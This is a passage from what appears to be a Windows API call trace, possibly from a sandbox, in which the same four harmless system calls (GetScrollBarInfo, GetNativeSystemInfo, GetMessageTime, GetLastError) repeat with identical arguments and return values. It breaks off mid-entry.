GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.381] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.381] GetMessageTime () returned 0 [0101.381] GetLastError () returned 0x578 [0101.381] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.381] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.381] GetMessageTime () returned 0 [0101.381] GetLastError () returned 0x578 [0101.381] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.381] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.381] GetMessageTime () returned 0 [0101.382] GetLastError () returned 0x578 [0101.382] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.382] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.382] GetMessageTime () returned 0 [0101.382] GetLastError () returned 0x578 [0101.382] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.382] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.382] GetMessageTime () returned 0 [0101.382] GetLastError () returned 0x578 [0101.382] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.382] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.382] GetMessageTime () returned 0 [0101.382] GetLastError () returned 0x578 [0101.382] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.382] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.382] GetMessageTime () returned 0 [0101.382] GetLastError () returned 0x578 [0101.382] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.382] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.382] GetMessageTime () returned 0 [0101.382] GetLastError () returned 0x578 [0101.382] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.382] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.383] GetMessageTime () returned 0 [0101.383] GetLastError () returned 0x578 [0101.383] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.383] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.383] GetMessageTime () returned 0 [0101.383] GetLastError () returned 0x578 [0101.383] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.383] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.383] GetMessageTime () returned 0 [0101.383] GetLastError () returned 0x578 [0101.383] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.383] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.383] GetMessageTime () returned 0 [0101.383] GetLastError () returned 0x578 [0101.383] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.383] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.383] GetMessageTime () returned 0 [0101.383] GetLastError () returned 0x578 [0101.383] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.383] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.383] GetMessageTime () returned 0 [0101.383] GetLastError () returned 0x578 [0101.383] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.383] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.384] GetMessageTime () returned 0 [0101.384] GetLastError () returned 0x578 [0101.384] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.384] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.384] GetMessageTime () returned 0 [0101.384] GetLastError () returned 0x578 [0101.384] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.384] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.384] GetMessageTime () returned 0 [0101.384] GetLastError () returned 0x578 [0101.384] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.384] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.384] GetMessageTime () returned 0 [0101.384] GetLastError () returned 0x578 [0101.384] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.384] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.384] GetMessageTime () returned 0 [0101.384] GetLastError () returned 0x578 [0101.384] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.384] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.384] GetMessageTime () returned 0 [0101.384] GetLastError () returned 0x578 [0101.384] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.385] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.385] GetMessageTime () returned 0 [0101.385] GetLastError () returned 0x578 [0101.385] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.385] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.385] GetMessageTime () returned 0 [0101.385] GetLastError () returned 0x578 [0101.385] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.385] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.385] GetMessageTime () returned 0 [0101.385] GetLastError () returned 0x578 [0101.385] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.385] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.385] GetMessageTime () returned 0 [0101.385] GetLastError () returned 0x578 [0101.385] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.385] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.385] GetMessageTime () returned 0 [0101.385] GetLastError () returned 0x578 [0101.385] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.385] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.385] GetMessageTime () returned 0 [0101.385] GetLastError () returned 0x578 [0101.385] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.386] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.386] GetMessageTime () returned 0 [0101.386] GetLastError () returned 0x578 [0101.386] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.386] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.386] GetMessageTime () returned 0 [0101.386] GetLastError () returned 0x578 [0101.386] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.386] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.386] GetMessageTime () returned 0 [0101.386] GetLastError () returned 0x578 [0101.386] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.386] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.386] GetMessageTime () returned 0 [0101.386] GetLastError () returned 0x578 [0101.386] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.386] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.386] GetMessageTime () returned 0 [0101.386] GetLastError () returned 0x578 [0101.386] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.386] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.386] GetMessageTime () returned 0 [0101.386] GetLastError () returned 0x578 [0101.387] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.387] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.387] GetMessageTime () returned 0 [0101.387] GetLastError () returned 0x578 [0101.387] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.387] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.387] GetMessageTime () returned 0 [0101.387] GetLastError () returned 0x578 [0101.387] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.387] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.387] GetMessageTime () returned 0 [0101.387] GetLastError () returned 0x578 [0101.387] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.387] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.387] GetMessageTime () returned 0 [0101.387] GetLastError () returned 0x578 [0101.387] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.387] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.387] GetMessageTime () returned 0 [0101.387] GetLastError () returned 0x578 [0101.387] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.387] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.387] GetMessageTime () returned 0 [0101.388] GetLastError () returned 0x578 [0101.388] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.388] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.388] GetMessageTime () returned 0 [0101.388] GetLastError () returned 0x578 [0101.388] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.388] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.388] GetMessageTime () returned 0 [0101.388] GetLastError () returned 0x578 [0101.388] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.388] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.388] GetMessageTime () returned 0 [0101.388] GetLastError () returned 0x578 [0101.388] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.388] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.388] GetMessageTime () returned 0 [0101.388] GetLastError () returned 0x578 [0101.388] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.388] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.388] GetMessageTime () returned 0 [0101.388] GetLastError () returned 0x578 [0101.388] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.388] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.388] GetMessageTime () returned 0 [0101.389] GetLastError () returned 0x578 [0101.389] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.389] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0101.389] GetMessageTime () returned 0 [0101.389] GetLastError () returned 0x578 [0101.389] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0101.389] GetNativeSystemInfo (in: lpSystemInfo=0x18e28c | out: lpSystemInfo=0x18e28c*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, 